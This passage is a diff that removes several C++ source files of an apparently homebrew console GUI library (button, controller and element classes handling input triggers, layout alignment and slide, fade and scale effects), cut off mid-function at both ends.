&& (trigger[i]->isClickEverywhere() || (isStateSet(STATE_SELECTED | STATE_OVER, c->chan) && trigger[i]->isSelectionClickEverywhere()) || this->isInside(c->data.x, c->data.y)))
|
||||
{
|
||||
if(soundClick)
|
||||
soundClick->Play();
|
||||
|
||||
clickedTrigger = trigger[i];
|
||||
|
||||
if(!isStateSet(STATE_CLICKED, c->chan))
|
||||
setState(STATE_CLICKED, c->chan);
|
||||
|
||||
clicked(this, c, trigger[i]);
|
||||
}
|
||||
else if(isStateSet(STATE_CLICKED, c->chan) && (clickedTrigger == trigger[i]) && !isStateSet(STATE_HELD, c->chan) && !trigger[i]->held(c) && (!isClicked || trigger[i]->released(c)))
|
||||
{
|
||||
clickedTrigger = NULL;
|
||||
clearState(STATE_CLICKED, c->chan);
|
||||
released(this, c, trigger[i]);
|
||||
}
|
||||
}
|
||||
|
||||
if(holdable)
|
||||
{
|
||||
bool isHeld = trigger[i]->held(c);
|
||||
|
||||
if( (!heldTrigger || heldTrigger == trigger[i]) && isHeld
|
||||
&& (trigger[i]->isHoldEverywhere() || (isStateSet(STATE_SELECTED | STATE_OVER, c->chan) && trigger[i]->isSelectionClickEverywhere()) || this->isInside(c->data.x, c->data.y)))
|
||||
{
|
||||
heldTrigger = trigger[i];
|
||||
|
||||
if(!isStateSet(STATE_HELD, c->chan))
|
||||
setState(STATE_HELD, c->chan);
|
||||
|
||||
held(this, c, trigger[i]);
|
||||
}
|
||||
else if(isStateSet(STATE_HELD, c->chan) && (heldTrigger == trigger[i]) && (!isHeld || trigger[i]->released(c)))
|
||||
{
|
||||
//! click is removed at this point and converted to held
|
||||
if(clickedTrigger == trigger[i])
|
||||
{
|
||||
clickedTrigger = NULL;
|
||||
clearState(STATE_CLICKED, c->chan);
|
||||
}
|
||||
heldTrigger = NULL;
|
||||
clearState(STATE_HELD, c->chan);
|
||||
released(this, c, trigger[i]);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -1,117 +0,0 @@
|
||||
/****************************************************************************
|
||||
* Copyright (C) 2015 Dimok
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
****************************************************************************/
|
||||
#ifndef GUI_BUTTON_H_
|
||||
#define GUI_BUTTON_H_
|
||||
|
||||
#include "GuiElement.h"
|
||||
#include "GuiText.h"
|
||||
#include "GuiController.h"
|
||||
#include "GuiImage.h"
|
||||
#include "GuiSound.h"
|
||||
#include "GuiTrigger.h"
|
||||
|
||||
//!Display, manage, and manipulate buttons in the GUI. Buttons can have images, icons, text, and sound set (all of which are optional)
|
||||
class GuiButton : public GuiElement
|
||||
{
|
||||
public:
|
||||
//!Constructor
|
||||
//!\param w Width
|
||||
//!\param h Height
|
||||
GuiButton(f32 w, f32 h);
|
||||
//!Destructor
|
||||
virtual ~GuiButton();
|
||||
//!Sets the button's image
|
||||
//!\param i Pointer to GuiImage object
|
||||
void setImage(GuiImage* i);
|
||||
//!Sets the button's image on over
|
||||
//!\param i Pointer to GuiImage object
|
||||
void setImageOver(GuiImage* i);
|
||||
|
||||
void setIcon(GuiImage* i);
|
||||
void setIconOver(GuiImage* i);
|
||||
//!Sets the button's image on hold
|
||||
//!\param i Pointer to GuiImage object
|
||||
void setImageHold(GuiImage* i);
|
||||
//!Sets the button's image on click
|
||||
//!\param i Pointer to GuiImage object
|
||||
void setImageClick(GuiImage* i);
|
||||
//!Sets the button's label
|
||||
//!\param t Pointer to GuiText object
|
||||
//!\param n Index of label to set (optional, default is 0)
|
||||
void setLabel(GuiText* t, int n = 0);
|
||||
//!Sets the button's label on over (eg: different colored text)
|
||||
//!\param t Pointer to GuiText object
|
||||
//!\param n Index of label to set (optional, default is 0)
|
||||
void setLabelOver(GuiText* t, int n = 0);
|
||||
//!Sets the button's label on hold
|
||||
//!\param t Pointer to GuiText object
|
||||
//!\param n Index of label to set (optional, default is 0)
|
||||
void setLabelHold(GuiText* t, int n = 0);
|
||||
//!Sets the button's label on click
|
||||
//!\param t Pointer to GuiText object
|
||||
//!\param n Index of label to set (optional, default is 0)
|
||||
void setLabelClick(GuiText* t, int n = 0);
|
||||
//!Sets the sound to play on over
|
||||
//!\param s Pointer to GuiSound object
|
||||
void setSoundOver(GuiSound * s);
|
||||
//!Sets the sound to play on hold
|
||||
//!\param s Pointer to GuiSound object
|
||||
void setSoundHold(GuiSound * s);
|
||||
//!Sets the sound to play on click
|
||||
//!\param s Pointer to GuiSound object
|
||||
void setSoundClick(GuiSound * s);
|
||||
//!Set a new GuiTrigger for the element
|
||||
//!\param i Index of trigger array to set
|
||||
//!\param t Pointer to GuiTrigger
|
||||
void setTrigger(GuiTrigger * t, int idx = -1);
|
||||
//!
|
||||
void resetState(void);
|
||||
//!Constantly called to draw the GuiButton
|
||||
void draw(CVideo *video);
|
||||
//!Constantly called to allow the GuiButton to respond to updated input data
|
||||
//!\param t Pointer to a GuiTrigger, containing the current input data from PAD/WPAD
|
||||
void update(GuiController * c);
|
||||
|
||||
sigslot::signal2<GuiButton *, const GuiController *> selected;
|
||||
sigslot::signal2<GuiButton *, const GuiController *> deSelected;
|
||||
sigslot::signal2<GuiButton *, const GuiController *> pointedOn;
|
||||
sigslot::signal2<GuiButton *, const GuiController *> pointedOff;
|
||||
sigslot::signal3<GuiButton *, const GuiController *, GuiTrigger *> clicked;
|
||||
sigslot::signal3<GuiButton *, const GuiController *, GuiTrigger *> held;
|
||||
sigslot::signal3<GuiButton *, const GuiController *, GuiTrigger *> released;
|
||||
protected:
|
||||
static const int iMaxGuiTriggers = 7;
|
||||
|
||||
GuiImage * image; //!< Button image (default)
|
||||
GuiImage * imageOver; //!< Button image for STATE_SELECTED
|
||||
GuiImage * imageHold; //!< Button image for STATE_HELD
|
||||
GuiImage * imageClick; //!< Button image for STATE_CLICKED
|
||||
GuiImage * icon;
|
||||
GuiImage * iconOver;
|
||||
GuiText * label[4]; //!< Label(s) to display (default)
|
||||
GuiText * labelOver[4]; //!< Label(s) to display for STATE_SELECTED
|
||||
GuiText * labelHold[4]; //!< Label(s) to display for STATE_HELD
|
||||
GuiText * labelClick[4]; //!< Label(s) to display for STATE_CLICKED
|
||||
GuiSound * soundOver; //!< Sound to play for STATE_SELECTED
|
||||
GuiSound * soundHold; //!< Sound to play for STATE_HELD
|
||||
GuiSound * soundClick; //!< Sound to play for STATE_CLICKED
|
||||
GuiTrigger * trigger[iMaxGuiTriggers]; //!< GuiTriggers (input actions) that this element responds to
|
||||
GuiTrigger * clickedTrigger;
|
||||
GuiTrigger * heldTrigger;
|
||||
};
|
||||
|
||||
#endif
|
@ -1,78 +0,0 @@
|
||||
/****************************************************************************
|
||||
* Copyright (C) 2015 Dimok
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
****************************************************************************/
|
||||
#ifndef GUI_CONTROLLER_H_
|
||||
#define GUI_CONTROLLER_H_
|
||||
|
||||
#include <string.h>
|
||||
#include "GuiTrigger.h"
|
||||
|
||||
class GuiController
|
||||
{
|
||||
public:
|
||||
//!Constructor
|
||||
GuiController(int channel)
|
||||
: chan(channel)
|
||||
{
|
||||
memset(&lastData, 0, sizeof(lastData));
|
||||
memset(&data, 0, sizeof(data));
|
||||
|
||||
switch(chan)
|
||||
{
|
||||
default:
|
||||
case GuiTrigger::CHANNEL_1:
|
||||
chanIdx = 0;
|
||||
break;
|
||||
case GuiTrigger::CHANNEL_2:
|
||||
chanIdx = 1;
|
||||
break;
|
||||
case GuiTrigger::CHANNEL_3:
|
||||
chanIdx = 2;
|
||||
break;
|
||||
case GuiTrigger::CHANNEL_4:
|
||||
chanIdx = 3;
|
||||
break;
|
||||
case GuiTrigger::CHANNEL_5:
|
||||
chanIdx = 4;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
//!Destructor
|
||||
virtual ~GuiController() {}
|
||||
|
||||
virtual bool update(int width, int height) = 0;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
unsigned int buttons_h;
|
||||
unsigned int buttons_d;
|
||||
unsigned int buttons_r;
|
||||
bool validPointer;
|
||||
bool touched;
|
||||
float pointerAngle;
|
||||
int x;
|
||||
int y;
|
||||
} PadData;
|
||||
|
||||
int chan;
|
||||
int chanIdx;
|
||||
PadData data;
|
||||
PadData lastData;
|
||||
|
||||
};
|
||||
|
||||
#endif
|
@ -1,342 +0,0 @@
|
||||
/****************************************************************************
|
||||
* Copyright (C) 2015 Dimok
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
****************************************************************************/
|
||||
#include "GuiElement.h"
|
||||
|
||||
//! TODO remove this!
|
||||
static int screenwidth = 1280;
|
||||
static int screenheight = 720;
|
||||
|
||||
/**
|
||||
* Constructor for the Object class.
|
||||
*/
|
||||
GuiElement::GuiElement()
|
||||
{
|
||||
xoffset = 0.0f;
|
||||
yoffset = 0.0f;
|
||||
zoffset = 0.0f;
|
||||
width = 0.0f;
|
||||
height = 0.0f;
|
||||
alpha = 1.0f;
|
||||
scaleX = 1.0f;
|
||||
scaleY = 1.0f;
|
||||
scaleZ = 1.0f;
|
||||
for(int i = 0; i < 4; i++)
|
||||
state[i] = STATE_DEFAULT;
|
||||
stateChan = -1;
|
||||
parentElement = NULL;
|
||||
rumble = true;
|
||||
selectable = false;
|
||||
clickable = false;
|
||||
holdable = false;
|
||||
visible = true;
|
||||
yoffsetDyn = 0;
|
||||
xoffsetDyn = 0;
|
||||
alphaDyn = -1;
|
||||
scaleDyn = 1;
|
||||
effects = EFFECT_NONE;
|
||||
effectAmount = 0;
|
||||
effectTarget = 0;
|
||||
effectsOver = EFFECT_NONE;
|
||||
effectAmountOver = 0;
|
||||
effectTargetOver = 0;
|
||||
angle = 0.0f;
|
||||
|
||||
// default alignment - align to top left
|
||||
alignment = (ALIGN_CENTER | ALIGN_MIDDLE);
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the left position of the GuiElement.
|
||||
* @see SetLeft()
|
||||
* @return Left position in pixel.
|
||||
*/
|
||||
f32 GuiElement::getLeft()
|
||||
{
|
||||
f32 pWidth = 0;
|
||||
f32 pLeft = 0;
|
||||
f32 pScaleX = 1.0f;
|
||||
|
||||
if(parentElement)
|
||||
{
|
||||
pWidth = parentElement->getWidth();
|
||||
pLeft = parentElement->getLeft();
|
||||
pScaleX = parentElement->getScaleX();
|
||||
}
|
||||
|
||||
pLeft += xoffsetDyn;
|
||||
|
||||
f32 x = pLeft;
|
||||
|
||||
//! TODO: the conversion from int to float and back to int is bad for performance, change that
|
||||
if(alignment & ALIGN_CENTER)
|
||||
{
|
||||
x = pLeft + pWidth * 0.5f * pScaleX - width * 0.5f * getScaleX();
|
||||
}
|
||||
else if(alignment & ALIGN_RIGHT)
|
||||
{
|
||||
x = pLeft + pWidth * pScaleX - width * getScaleX();
|
||||
}
|
||||
|
||||
return x + xoffset;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the top position of the GuiElement.
|
||||
* @see SetTop()
|
||||
* @return Top position in pixel.
|
||||
*/
|
||||
f32 GuiElement::getTop()
|
||||
{
|
||||
f32 pHeight = 0;
|
||||
f32 pTop = 0;
|
||||
f32 pScaleY = 1.0f;
|
||||
|
||||
if(parentElement)
|
||||
{
|
||||
pHeight = parentElement->getHeight();
|
||||
pTop = parentElement->getTop();
|
||||
pScaleY = parentElement->getScaleY();
|
||||
}
|
||||
|
||||
pTop += yoffsetDyn;
|
||||
|
||||
f32 y = pTop;
|
||||
|
||||
//! TODO: the conversion from int to float and back to int is bad for performance, change that
|
||||
if(alignment & ALIGN_MIDDLE)
|
||||
{
|
||||
y = pTop + pHeight * 0.5f * pScaleY - height * 0.5f * getScaleY();
|
||||
}
|
||||
else if(alignment & ALIGN_BOTTOM)
|
||||
{
|
||||
y = pTop + pHeight * pScaleY - height * getScaleY();
|
||||
}
|
||||
|
||||
return y + yoffset;
|
||||
}
|
||||
|
||||
void GuiElement::setEffect(int eff, int amount, int target)
|
||||
{
|
||||
if(eff & EFFECT_SLIDE_IN)
|
||||
{
|
||||
// these calculations overcompensate a little
|
||||
if(eff & EFFECT_SLIDE_TOP)
|
||||
{
|
||||
if(eff & EFFECT_SLIDE_FROM)
|
||||
yoffsetDyn = (int) -getHeight()*scaleY;
|
||||
else
|
||||
yoffsetDyn = -screenheight;
|
||||
}
|
||||
else if(eff & EFFECT_SLIDE_LEFT)
|
||||
{
|
||||
if(eff & EFFECT_SLIDE_FROM)
|
||||
xoffsetDyn = (int) -getWidth()*scaleX;
|
||||
else
|
||||
xoffsetDyn = -screenwidth;
|
||||
}
|
||||
else if(eff & EFFECT_SLIDE_BOTTOM)
|
||||
{
|
||||
if(eff & EFFECT_SLIDE_FROM)
|
||||
yoffsetDyn = (int) getHeight()*scaleY;
|
||||
else
|
||||
yoffsetDyn = screenheight;
|
||||
}
|
||||
else if(eff & EFFECT_SLIDE_RIGHT)
|
||||
{
|
||||
if(eff & EFFECT_SLIDE_FROM)
|
||||
xoffsetDyn = (int) getWidth()*scaleX;
|
||||
else
|
||||
xoffsetDyn = screenwidth;
|
||||
}
|
||||
}
|
||||
if((eff & EFFECT_FADE) && amount > 0)
|
||||
{
|
||||
alphaDyn = 0;
|
||||
}
|
||||
else if((eff & EFFECT_FADE) && amount < 0)
|
||||
{
|
||||
alphaDyn = alpha;
|
||||
}
|
||||
effects |= eff;
|
||||
effectAmount = amount;
|
||||
effectTarget = target;
|
||||
}
|
||||
|
||||
//!Sets an effect to be enabled on wiimote cursor over
|
||||
//!\param e Effect to enable
|
||||
//!\param a Amount of the effect (usage varies on effect)
|
||||
//!\param t Target amount of the effect (usage varies on effect)
|
||||
void GuiElement::setEffectOnOver(int e, int a, int t)
|
||||
{
|
||||
effectsOver |= e;
|
||||
effectAmountOver = a;
|
||||
effectTargetOver = t;
|
||||
}
|
||||
|
||||
void GuiElement::resetEffects()
|
||||
{
|
||||
yoffsetDyn = 0;
|
||||
xoffsetDyn = 0;
|
||||
alphaDyn = -1;
|
||||
scaleDyn = 1;
|
||||
effects = EFFECT_NONE;
|
||||
effectAmount = 0;
|
||||
effectTarget = 0;
|
||||
effectsOver = EFFECT_NONE;
|
||||
effectAmountOver = 0;
|
||||
effectTargetOver = 0;
|
||||
}
|
||||
void GuiElement::updateEffects()
|
||||
{
|
||||
if(!this->isVisible() && parentElement)
|
||||
return;
|
||||
|
||||
if(effects & (EFFECT_SLIDE_IN | EFFECT_SLIDE_OUT | EFFECT_SLIDE_FROM))
|
||||
{
|
||||
if(effects & EFFECT_SLIDE_IN)
|
||||
{
|
||||
if(effects & EFFECT_SLIDE_LEFT)
|
||||
{
|
||||
xoffsetDyn += effectAmount;
|
||||
|
||||
if(xoffsetDyn >= 0)
|
||||
{
|
||||
xoffsetDyn = 0;
|
||||
effects = 0;
|
||||
effectFinished(this);
|
||||
}
|
||||
}
|
||||
else if(effects & EFFECT_SLIDE_RIGHT)
|
||||
{
|
||||
xoffsetDyn -= effectAmount;
|
||||
|
||||
if(xoffsetDyn <= 0)
|
||||
{
|
||||
xoffsetDyn = 0;
|
||||
effects = 0;
|
||||
effectFinished(this);
|
||||
}
|
||||
}
|
||||
else if(effects & EFFECT_SLIDE_TOP)
|
||||
{
|
||||
yoffsetDyn += effectAmount;
|
||||
|
||||
if(yoffsetDyn >= 0)
|
||||
{
|
||||
yoffsetDyn = 0;
|
||||
effects = 0;
|
||||
effectFinished(this);
|
||||
}
|
||||
}
|
||||
else if(effects & EFFECT_SLIDE_BOTTOM)
|
||||
{
|
||||
yoffsetDyn -= effectAmount;
|
||||
|
||||
if(yoffsetDyn <= 0)
|
||||
{
|
||||
yoffsetDyn = 0;
|
||||
effects = 0;
|
||||
effectFinished(this);
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if(effects & EFFECT_SLIDE_LEFT)
|
||||
{
|
||||
xoffsetDyn -= effectAmount;
|
||||
|
||||
if(xoffsetDyn <= -screenwidth) {
|
||||
effects = 0; // shut off effect
|
||||
effectFinished(this);
|
||||
}
|
||||
else if((effects & EFFECT_SLIDE_FROM) && xoffsetDyn <= -getWidth()) {
|
||||
effects = 0; // shut off effect
|
||||
effectFinished(this);
|
||||
}
|
||||
}
|
||||
else if(effects & EFFECT_SLIDE_RIGHT)
|
||||
{
|
||||
xoffsetDyn += effectAmount;
|
||||
|
||||
if(xoffsetDyn >= screenwidth) {
|
||||
effects = 0; // shut off effect
|
||||
effectFinished(this);
|
||||
}
|
||||
else if((effects & EFFECT_SLIDE_FROM) && xoffsetDyn >= getWidth()*scaleX) {
|
||||
effects = 0; // shut off effect
|
||||
effectFinished(this);
|
||||
}
|
||||
}
|
||||
else if(effects & EFFECT_SLIDE_TOP)
|
||||
{
|
||||
yoffsetDyn -= effectAmount;
|
||||
|
||||
if(yoffsetDyn <= -screenheight) {
|
||||
effects = 0; // shut off effect
|
||||
effectFinished(this);
|
||||
}
|
||||
else if((effects & EFFECT_SLIDE_FROM) && yoffsetDyn <= -getHeight()) {
|
||||
effects = 0; // shut off effect
|
||||
effectFinished(this);
|
||||
}
|
||||
}
|
||||
else if(effects & EFFECT_SLIDE_BOTTOM)
|
||||
{
|
||||
yoffsetDyn += effectAmount;
|
||||
|
||||
if(yoffsetDyn >= screenheight) {
|
||||
effects = 0; // shut off effect
|
||||
effectFinished(this);
|
||||
}
|
||||
else if((effects & EFFECT_SLIDE_FROM) && yoffsetDyn >= getHeight()) {
|
||||
effects = 0; // shut off effect
|
||||
effectFinished(this);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
else if(effects & EFFECT_FADE)
|
||||
{
|
||||
alphaDyn += effectAmount * (1.0f / 255.0f);
|
||||
|
||||
if(effectAmount < 0 && alphaDyn <= 0)
|
||||
{
|
||||
alphaDyn = 0;
|
||||
effects = 0; // shut off effect
|
||||
effectFinished(this);
|
||||
}
|
||||
else if(effectAmount > 0 && alphaDyn >= alpha)
|
||||
{
|
||||
alphaDyn = alpha;
|
||||
effects = 0; // shut off effect
|
||||
effectFinished(this);
|
||||
}
|
||||
}
|
||||
else if(effects & EFFECT_SCALE)
|
||||
{
|
||||
scaleDyn += effectAmount * 0.01f;
|
||||
|
||||
if((effectAmount < 0 && scaleDyn <= (effectTarget * 0.01f))
|
||||
|| (effectAmount > 0 && scaleDyn >= (effectTarget * 0.01f)))
|
||||
{
|
||||
scaleDyn = effectTarget * 0.01f;
|
||||
effects = 0; // shut off effect
|
||||
effectFinished(this);
|
||||
}
|
||||
}
|
||||
}
|
@ -1,517 +0,0 @@
|
||||
/****************************************************************************
|
||||
* Copyright (C) 2015 Dimok
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
****************************************************************************/
|
||||
#ifndef GUI_ELEMENT_H_
|
||||
#define GUI_ELEMENT_H_
|
||||
|
||||
#include <string>
|
||||
#include <vector>
|
||||
#include <malloc.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <wchar.h>
|
||||
#include <math.h>
|
||||
|
||||
#include "common/types.h"
|
||||
#include "sigslot.h"
|
||||
#include "glm/glm.hpp"
|
||||
#include "glm/gtc/matrix_transform.hpp"
|
||||
|
||||
#include "resources/Resources.h"
|
||||
#include "system/AsyncDeleter.h"
|
||||
#include "utils/logger.h"
|
||||
|
||||
enum
|
||||
{
|
||||
EFFECT_NONE = 0x00,
|
||||
EFFECT_SLIDE_TOP = 0x01,
|
||||
EFFECT_SLIDE_BOTTOM = 0x02,
|
||||
EFFECT_SLIDE_RIGHT = 0x04,
|
||||
EFFECT_SLIDE_LEFT = 0x08,
|
||||
EFFECT_SLIDE_IN = 0x10,
|
||||
EFFECT_SLIDE_OUT = 0x20,
|
||||
EFFECT_SLIDE_FROM = 0x40,
|
||||
EFFECT_FADE = 0x80,
|
||||
EFFECT_SCALE = 0x100,
|
||||
EFFECT_COLOR_TRANSITION = 0x200
|
||||
};
|
||||
|
||||
enum
|
||||
{
|
||||
ALIGN_LEFT = 0x01,
|
||||
ALIGN_CENTER = 0x02,
|
||||
ALIGN_RIGHT = 0x04,
|
||||
ALIGN_TOP = 0x10,
|
||||
ALIGN_MIDDLE = 0x20,
|
||||
ALIGN_BOTTOM = 0x40,
|
||||
ALIGN_TOP_LEFT = ALIGN_LEFT | ALIGN_TOP,
|
||||
ALIGN_TOP_CENTER = ALIGN_CENTER | ALIGN_TOP,
|
||||
ALIGN_TOP_RIGHT = ALIGN_RIGHT | ALIGN_TOP,
|
||||
ALIGN_CENTERED = ALIGN_CENTER | ALIGN_MIDDLE,
|
||||
};
|
||||
|
||||
//!Forward declaration
|
||||
class GuiController;
|
||||
class CVideo;
|
||||
|
||||
//!Primary GUI class. Most other classes inherit from this class.
|
||||
class GuiElement : public AsyncDeleter::Element
|
||||
{
|
||||
public:
|
||||
//!Constructor
|
||||
GuiElement();
|
||||
//!Destructor
|
||||
virtual ~GuiElement() {}
|
||||
//!Set the element's parent
|
||||
//!\param e Pointer to parent element
|
||||
virtual void setParent(GuiElement * e) { parentElement = e; }
|
||||
//!Gets the element's parent
|
||||
//!\return Pointer to parent element
|
||||
virtual GuiElement * getParent() { return parentElement; }
|
||||
//!Gets the current leftmost coordinate of the element
|
||||
//!Considers horizontal alignment, x offset, width, and parent element's GetLeft() / GetWidth() values
|
||||
//!\return left coordinate
|
||||
virtual f32 getLeft();
|
||||
//!Gets the current topmost coordinate of the element
|
||||
//!Considers vertical alignment, y offset, height, and parent element's GetTop() / GetHeight() values
|
||||
//!\return top coordinate
|
||||
virtual f32 getTop();
|
||||
//!Gets the current Z coordinate of the element
|
||||
//!\return Z coordinate
|
||||
virtual f32 getDepth()
|
||||
{
|
||||
f32 zParent = 0.0f;
|
||||
|
||||
if(parentElement)
|
||||
zParent = parentElement->getDepth();
|
||||
|
||||
return zParent+zoffset;
|
||||
}
|
||||
|
||||
virtual f32 getCenterX(void)
|
||||
{
|
||||
f32 pCenterX = 0.0f;
|
||||
|
||||
if(parentElement)
|
||||
pCenterX = parentElement->getCenterX();
|
||||
|
||||
pCenterX += xoffset + xoffsetDyn;
|
||||
|
||||
if(alignment & ALIGN_LEFT)
|
||||
{
|
||||
f32 pWidth = 0.0f;
|
||||
f32 pScale = 0.0f;
|
||||
|
||||
if(parentElement)
|
||||
{
|
||||
pWidth = parentElement->getWidth();
|
||||
pScale = parentElement->getScaleX();
|
||||
}
|
||||
|
||||
pCenterX -= pWidth * 0.5f * pScale - width * 0.5f * getScaleX();
|
||||
}
|
||||
else if(alignment & ALIGN_RIGHT)
|
||||
{
|
||||
f32 pWidth = 0.0f;
|
||||
f32 pScale = 0.0f;
|
||||
|
||||
if(parentElement)
|
||||
{
|
||||
pWidth = parentElement->getWidth();
|
||||
pScale = parentElement->getScaleX();
|
||||
}
|
||||
|
||||
pCenterX += pWidth * 0.5f * pScale - width * 0.5f * getScaleX();
|
||||
}
|
||||
return pCenterX;
|
||||
}
|
||||
|
||||
virtual f32 getCenterY(void)
|
||||
{
|
||||
f32 pCenterY = 0.0f;
|
||||
|
||||
if(parentElement)
|
||||
pCenterY = parentElement->getCenterY();
|
||||
|
||||
pCenterY += yoffset + yoffsetDyn;
|
||||
|
||||
if(alignment & ALIGN_TOP)
|
||||
{
|
||||
f32 pHeight = 0.0f;
|
||||
f32 pScale = 0.0f;
|
||||
|
||||
if(parentElement)
|
||||
{
|
||||
pHeight = parentElement->getHeight();
|
||||
pScale = parentElement->getScaleY();
|
||||
}
|
||||
|
||||
pCenterY += pHeight * 0.5f * pScale - height * 0.5f * getScaleY();
|
||||
}
|
||||
else if(alignment & ALIGN_BOTTOM)
|
||||
{
|
||||
f32 pHeight = 0.0f;
|
||||
f32 pScale = 0.0f;
|
||||
|
||||
if(parentElement)
|
||||
{
|
||||
pHeight = parentElement->getHeight();
|
||||
pScale = parentElement->getScaleY();
|
||||
}
|
||||
|
||||
pCenterY -= pHeight * 0.5f * pScale - height * 0.5f * getScaleY();
|
||||
}
|
||||
return pCenterY;
|
||||
}
|
||||
//!Gets elements xoffset
|
||||
virtual f32 getOffsetX() { return xoffset; }
|
||||
//!Gets elements yoffset
|
||||
virtual f32 getOffsetY() { return yoffset; }
|
||||
//!Gets the current width of the element. Does not currently consider the scale
|
||||
//!\return width
|
||||
virtual f32 getWidth() { return width; };
|
||||
//!Gets the height of the element. Does not currently consider the scale
|
||||
//!\return height
|
||||
virtual f32 getHeight() { return height; }
|
||||
//!Sets the size (width/height) of the element
|
||||
//!\param w Width of element
|
||||
//!\param h Height of element
|
||||
virtual void setSize(f32 w, f32 h)
|
||||
{
|
||||
width = w;
|
||||
height = h;
|
||||
}
|
||||
//!Sets the element's visibility
|
||||
//!\param v Visibility (true = visible)
|
||||
virtual void setVisible(bool v)
|
||||
{
|
||||
visible = v;
|
||||
visibleChanged(this, v);
|
||||
}
|
||||
//!Checks whether or not the element is visible
|
||||
//!\return true if visible, false otherwise
|
||||
virtual bool isVisible() const { return !isStateSet(STATE_HIDDEN) && visible; };
|
||||
//!Checks whether or not the element is selectable
|
||||
//!\return true if selectable, false otherwise
|
||||
virtual bool isSelectable()
|
||||
{
|
||||
return !isStateSet(STATE_DISABLED) && selectable;
|
||||
}
|
||||
//!Checks whether or not the element is clickable
|
||||
//!\return true if clickable, false otherwise
|
||||
virtual bool isClickable()
|
||||
{
|
||||
return !isStateSet(STATE_DISABLED) && clickable;
|
||||
}
|
||||
//!Checks whether or not the element is holdable
|
||||
//!\return true if holdable, false otherwise
|
||||
virtual bool isHoldable() { return !isStateSet(STATE_DISABLED) && holdable; }
|
||||
//!Sets whether or not the element is selectable
|
||||
//!\param s Selectable
|
||||
virtual void setSelectable(bool s) { selectable = s; }
|
||||
//!Sets whether or not the element is clickable
|
||||
//!\param c Clickable
|
||||
virtual void setClickable(bool c) { clickable = c; }
|
||||
//!Sets whether or not the element is holdable
|
||||
//!\param c Holdable
|
||||
virtual void setHoldable(bool d) { holdable = d; }
|
||||
//!Sets the element's state
|
||||
//!\param s State (STATE_DEFAULT, STATE_SELECTED, STATE_CLICKED, STATE_DISABLED)
|
||||
//!\param c Controller channel (0-3, -1 = none)
|
||||
virtual void setState(int s, int c = -1)
|
||||
{
|
||||
if(c >= 0 && c < 4)
|
||||
{
|
||||
state[c] |= s;
|
||||
}
|
||||
else
|
||||
{
|
||||
for(int i = 0; i < 4; i++)
|
||||
state[i] |= s;
|
||||
}
|
||||
stateChan = c;
|
||||
stateChanged(this, s, c);
|
||||
}
|
||||
virtual void clearState(int s, int c = -1)
|
||||
{
|
||||
if(c >= 0 && c < 4)
|
||||
{
|
||||
state[c] &= ~s;
|
||||
}
|
||||
else
|
||||
{
|
||||
for(int i = 0; i < 4; i++)
|
||||
state[i] &= ~s;
|
||||
}
|
||||
stateChan = c;
|
||||
stateChanged(this, s, c);
|
||||
}
|
||||
virtual bool isStateSet(int s, int c = -1) const
|
||||
{
|
||||
if(c >= 0 && c < 4)
|
||||
{
|
||||
return (state[c] & s) != 0;
|
||||
}
|
||||
else
|
||||
{
|
||||
for(int i = 0; i < 4; i++)
|
||||
if((state[i] & s) != 0)
|
||||
return true;
|
||||
|
||||
return false;
|
||||
}
|
||||
}
|
||||
//!Gets the element's current state
|
||||
//!\return state
|
||||
virtual int getState(int c = 0) { return state[c]; };
|
||||
//!Gets the controller channel that last changed the element's state
|
||||
//!\return Channel number (0-3, -1 = no channel)
|
||||
virtual int getStateChan() { return stateChan; };
|
||||
//!Resets the element's state to STATE_DEFAULT
|
||||
virtual void resetState()
|
||||
{
|
||||
for(int i = 0; i < 4; i++)
|
||||
state[i] = STATE_DEFAULT;
|
||||
stateChan = -1;
|
||||
}
|
||||
//!Sets the element's alpha value
|
||||
//!\param a alpha value
|
